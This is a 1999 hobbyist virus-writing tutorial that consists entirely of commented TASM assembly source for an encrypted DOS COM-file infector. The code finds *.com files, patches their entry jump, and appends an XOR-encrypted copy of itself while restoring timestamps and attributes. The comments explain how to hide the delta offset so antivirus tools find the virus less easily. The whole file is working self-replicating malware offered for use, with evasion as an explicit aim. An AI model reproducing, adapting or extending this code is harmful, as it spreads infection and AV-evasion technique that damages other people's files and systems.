title The Simple Way to learn Virus writing 4
subttl (C) 1999 The BugHunter
subttl Latest revision: 21.10.1999

;I write this tutorial hoping that more people understand how viruses work
;
;I think that the best way to learn viruswriting is a good commented piece
;  of Source  ;)
;
;Now you are able to infect COM-Files with an encrypted virus.
;  It is time to infect COM-Files with a virus that is not using delta offset
;  so that it is harder for the AV to find our virus ;)
;  A simple way to hide delta offset is to encrypt it, too
;  Now you are asking yourself:
;   How we should do this? If we don't have a delta offset our virus will
;   not know where it is and it'll not be able to decrypt itself
;  That's right. But what about calculating the position of our virus?
;  That could work, isn't it? Let's try it to see what happens  ;)
;
;You can assemble this file with TASM:
;   tasm tut4g.asm
;   tlink tut4g.obj /t
;
;Mail your opinions and your questions to:
;   thebughunter@kefrens.de
;
;Here we go:

jumps

code segment
assume cs:code,ds:code
org 0100h
;We know this part ;)

infectedfile:

db 0e9h, 02h, 0h
db 0deh, 0adh
;We know this part ;)

start:
        db      0beh
virpos  dw      tutnichts
;Oh no. What we are doing here?
;If you have a good referens about asm then have a look on "mov" and how it
;works. This hex values are nothing else than a mov.
;It means nothing else than "mov   si, reg16"
;  That means: We're writing an integer-value to si
;  This integer-value is the same thing like delta offset. We just need to
;  calculate it ;)
;  But i am sure that we are able to do this ;)
;Shortform:
;  Here we take the position of our virus

        mov     al, 1 ptr cs:[(si+OFFSET key)-tutnichts]
        mov     cx, xorloop-tutnichts
        call    xorloop
;We know this part ;)

tutnichts:
        call virus

;We know this part ;)

virus:
        pop     bp
        sub     bp, OFFSET virus
;We know this part ;)

dtasetzen:
        mov     ah, 1ah
        lea     dx, cs:[bp+OFFSET dta]
        int     21h
;We know this part ;)

        mov     cx, 5
        lea     si, cs:[bp+OFFSET zweibytes1]
        mov     di, 100h
        rep     movsb
;We know this part ;)

        mov     ah, 4eh
        mov     cx, 7
        lea     dx, cs:[bp+OFFSET comfile]
        jmp     search
;We know this part ;)

OUR_ID  db      'Example Virus from the tutorial "The Simple Way to learn Virus writing 4" [The BugHunter]'

search:
        int     21h
        jc      quit
;We know this part ;)

        mov     ax, 4301h
        xor     cl, cl
        int     21h
;We know this part ;)

        mov     ax, 3d02h
        lea     dx, cs:[bp+OFFSET dta+1eh]
        int     21h
;We know this part ;)

        xchg    bx, ax
;We know this part ;)

lesen:
        mov     ah, 3fh
        mov     cx, 5
        lea     dx, cs:[bp+zweibytes1]
        int     21h
;We know this part ;)

infcheck:
        cmp     word ptr cs:[bp+zweibytes1], 'ZM'
        je      findnext
        cmp     word ptr cs:[bp+zweibytes2], 0addeh
        je      findnext
;We know this part ;)

        mov     ax, word ptr cs:[bp+dta+1ah]
        sub     ax, 3
        mov     word ptr cs:[bp+jump+1],ax
;We know this part ;)

        mov     ax, 4200h
        xor     cx, cx
        cwd
        int     21h
;We know this part ;)

        mov     ah, 40h
        mov     cx, 5
        lea     dx, cs:[bp+jump]
        int     21h
;We know this part ;)

        mov     1 ptr cs:[bp+OFFSET key], 90h
;We know this part ;)

        mov     ax, 4202h
        xor     cx, cx
        cwd
        int     21h
;We know this part ;)

        push    ax


        add     ax, tutnichts- start+ 100h
        mov     cs:[bp+ virpos], ax
;What are we doing here now?
; It's very simple:
;  Not to have to calculate delta offset we need to tell the virus where
;  it is.
;  Here we calculate the position of our virus. That's all ;)
;  This position we write to the place of our virus where the virus will load
;  the virus position from  ;)

        lea     si, cs:[bp+ start]
        lea     di, cs:[bp+ eof]
        mov     cx, eof- start
        rep     movsb
;We know this part ;)

        lea     si, (tutnichts-start)+eof+bp
        mov     cx, (xorloop-tutnichts)
        mov     al, 1 ptr cs:[bp+OFFSET key]
        call    xorloop
;das kennen wir noch

        pop     ax

        mov     ah, 40h
        lea     dx, bp+eof
        mov     cx, ende-start
        int     21h
;We know this part ;)

        mov     ax, 5701h
        mov     cx, cs:[bp+OFFSET dta+16h]
        mov     dx, cs:[bp+OFFSET dta+18h]
        int     21h
;We know this part ;)

        mov     ax, 4301h
        mov     cl, cs:[bp+OFFSET dta+15h]
        lea     dx, cs:[bp+OFFSET dta+1eh]
        int     21h
;We know this part ;)

findnext:
        mov     ah, 3eh
        int     21h
;We know this part ;)

        mov     ah, 4fh
        jmp     search
;We know this part ;)

quit:

backtoapp:
        mov     si, 100h
        jmp     si
;We know this part ;)

comfile         db '*.com',0
zweibytes1      db 0cdh,20h
einbyte         db 0
zweibytes2      db 0,0
;We know this part ;)

jump            db 0e9h,0,0
kennung         db 0deh, 0adh
;We know this part ;)



xorloop:
        xor     1 ptr cs:[si], al
        inc     si
        loop    xorloop
        ret
;We know this part ;)

key     db      00h
;We know this part ;)

ende:
dta             db 43 dup (?)
;We know this part ;)

eof:
;We know this part ;)

code ends
end infectedfile

;Greets to:
;          The Kefrens members:
;            -Assembler Head
;            -Delirium
;            -Paradizer
;            -SnakeByte
;          All Cybernetic Crew members ;)
;          Martin, hast du eigentlich weiter Viren geschrieben
;             (oder es versucht?)
;          Efgeen (Effgen, Effgeen) oder wie auch immer du jetzt geschrieben
;             wirst ;) ,besorg dir mal nen internet Anschlu  =)
;          Acidbytes, Gigabyte. I am missing you in Kefrens
;               but everyone knows that it'd end like this ;(
;          Evil-E, BlachJack
;          Conny, BlackAngel
;	   everyone else who writes virii
;          and everyone who knows me ;)
;          and before i'll forgot it again:
;             all old school friends and teachers (except our Texas Ranger ;)
